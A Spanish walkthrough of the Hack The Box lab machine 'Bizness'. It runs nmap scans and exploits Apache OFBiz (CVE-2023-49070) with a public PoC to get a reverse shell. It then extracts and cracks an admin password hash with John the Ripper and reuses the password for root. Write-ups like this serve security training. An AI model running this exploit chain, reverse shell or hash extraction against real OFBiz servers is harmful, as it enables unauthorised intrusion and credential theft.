Descripción
Bizness es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Apache Ofbiz vulnerable a omisión de autenticación y a ejecución remota de comandos
- Elevación de privilegios mediante la rotura de un hash personalizado de una contraseña con John The Ripper y reutilizado de contraseñas
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.251.57.
$ ping -c 3 10.129.251.57
PING 10.129.251.57 (10.129.251.57) 56(84) bytes of data.
64 bytes from 10.129.251.57: icmp_seq=1 ttl=63 time=47.1 ms
64 bytes from 10.129.251.57: icmp_seq=2 ttl=63 time=47.3 ms
64 bytes from 10.129.251.57: icmp_seq=3 ttl=63 time=46.3 ms
--- 10.129.251.57 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 46.318/46.918/47.312/0.431 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.251.57 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.251.57
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
Obtenemos tres puertos abiertos, 22, 80, y 443.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.251.57 -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.251.57
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.60 seconds
Conseguimos tres servicios: un Secure Shell (SSH), y dos servicios de Protocolo de Transferencia de Hipertexto (HTTP) funcionando en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP en el puerto 80. Observamos que el servicio alberga un sitio web http://bizness.htb, por lo que lo agregamos a nuestro archivo local /etc/hosts.
$ echo "10.129.251.57 bizness.htb" | sudo tee -a /etc/hosts
Observamos que el servicio está redireccionando al puerto HTTPs. Observamos en el navegador que el servicio está hospedando un sitio web que ofrece soluciones empresariales.
En la pie de página encontramos que el sitio web utiliza Apache OFBiz. Apache OFBiz es un conjunto de aplicaciones empresariales lo suficientemente flexibles para ser usado en cualquier industria.
Por defecto, el directorio de OFBiz es /ordermgr. Cuando entramos en este directorio encontramos una página de inicio de sesión y se revela la versión de Apache OFBiz, 18.12.
Esta versión es vulnerable a una omisión de autenticación, CVE-2023-51467, y a una ejecución remota de comandos con autorización previa, CVE-2023-49070.
Explotación
Para explotar la vulnerabilidad tenemos un script PoC hecho por abdoghazy2015, ofbiz-CVE-2023-49070-RCE-POC. Clonamos el repositorio, descargamos las dependencias y abrimos un puerto local en el que vamos a recibir la terminal inversa. Necesitamos establecer Java 11 como nuestra versión de Java.
$ git clone https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC
$ cd ofbiz-CVE-2023-49070-RCE-POC
$ wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
$ sudo apt install openjdk-11-jre$ update-java-alternatives --list
java-1.11.0-openjdk-amd64 1111 /usr/lib/jvm/java-1.11.0-openjdk-amd64
java-1.17.0-openjdk-amd64 1711 /usr/lib/jvm/java-1.17.0-openjdk-amd64
$ sudo update-java-alternatives --set /usr/lib/jvm/java-1.11.0-openjdk-amd64
$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 11.0.20-ea 2023-07-18
OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode, sharing)
$ python exploit.py https://bizness.htb shell 10.10.14.45:1234
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not
$ nc -nvlp 1234
Obtenemos una terminal inversa, así que la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.251.57] 46966
bash: cannot set terminal process group (768): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
ofbiz@bizness:/opt/ofbiz$ stty rows 48 columns 156
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
ofbiz@bizness:/opt/ofbiz$ export SHELL=bash
Post-Explotación
Como usuarios de consola sólo encontramos al usuario actual, ofbiz y root.
ofbiz@bizness:/opt/ofbiz$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ofbiz:x:1001:1001:,,,:/home/ofbiz:/bin/bash
Encontramos que la configuración del programa se encuentra en el directorio /opt/ofbiz/framework/entity/config/entityengine.xml. Encontramos que el programa está utilizando una base de datos Derby.
<delegator name="default" entity-model-reader="main" entity-group-reader="main" entity-eca-reader="main" distributed-cache-clear-enabled="false">
<group-map group-name="org.apache.ofbiz" datasource-name="localderby"/>
<group-map group-name="org.apache.ofbiz.olap" datasource-name="localderbyolap"/>
<group-map group-name="org.apache.ofbiz.tenant" datasource-name="localderbytenant"/>
</delegator>
La base de datos se encuentra en /opt/ofbiz/runtime/data/derby. Tal como se ve en el código fuente la entidad UserLogin guarda la contraseña en el campo currentPassword. Así que vamos a buscar una cadena en la base de datos que contenga esta entidad.
ofbiz@bizness:/opt/ofbiz$cd /opt/ofbiz/runtime/data/derby
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ grep -rn "UserLogin" . 2>&1 | cut -d: -f2 | xargs strings | grep "UserLogin"
...
<std-String value="updatedUserLogin"/>
<eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
...
Encontramos una entidad UserLogin para el usuario admin, que contiene el hash de la contraseña, $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I. Este no es un hash común así que tenemos que imbuirnos en el código fuente para decodificarlo. Tenemos que observar las funciones cryptBytes y getCryptedBytes.
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(SECURE_RANDOM.nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(StandardCharsets.UTF_8));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}
Vemos que el hash está en formato SHA (SHA1), el salt del hash es d el cual se pone al principio de la cadena, y el hash está codificado con URL Safe Base64. John the Ripper no soporta este tipo de hash por lo que necesitamos convertirlo a un formato compatible. Podemos enumerar los formatos dinámicos relacionados con SHA1.
$ john --list=subformats | grep sha1
Format = dynamic_22 type = dynamic_22: md5(sha1($p))
Format = dynamic_23 type = dynamic_23: sha1(md5($p))
Format = dynamic_24 type = dynamic_24: sha1($p.$s)
Format = dynamic_25 type = dynamic_25: sha1($s.$p)
Format = dynamic_26 type = dynamic_26: sha1($p) raw-sha1
Podemos usar el formato dynamic_25, admin:$dynamic_25$hexadecimalhash$salt. Podemos convertir la cadena codificada con Base64 URL Safe al normal reemplazando el carácter _ por / y el carácter - a +. Después de esto, podemos obtener el hash hexadecimal.
$ echo "uP0/QaVBpDWFeo8+dRzDqRwXQ2I" | base64 -d 2> /dev/null | xxd -p
b8fd3f41a541a435857a8f3e751cc3a91c174362
Finalmente el hash completo para John the Ripper será.
admin:$dynamic_25$b8fd3f41a541a435857a8f3e751cc3a91c174362$d
Podemos romper el hash.
$ john --format=dynamic_25 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_25 [sha1($s.$p) 256/256 AVX2 8x1])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
monkeybizness (admin)
1g 0:00:00:00 DONE 6.250g/s 9261Kp/s 9261Kc/s 9261KC/s monkeycrew..mollholl
Use the "--show --format=dynamic_25" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para el usuario de Ofbiz admin, monkeybizness. En la terminal comprobaremos que la contraseña se reutiliza para el usuario root. Tenemos acceso completo a la máquina.
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ su root
Password:
ofbiz@bizness:/opt/ofbiz/runtime/data/derby# id
uid=0(root) gid=0(root) grupos=0(root)
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
root@bizness:/opt/ofbiz# cat /home/ofbiz/user.txt
<REDACTED>
root@bizness:/opt/ofbiz# cat /root/root.txt
<REDACTED>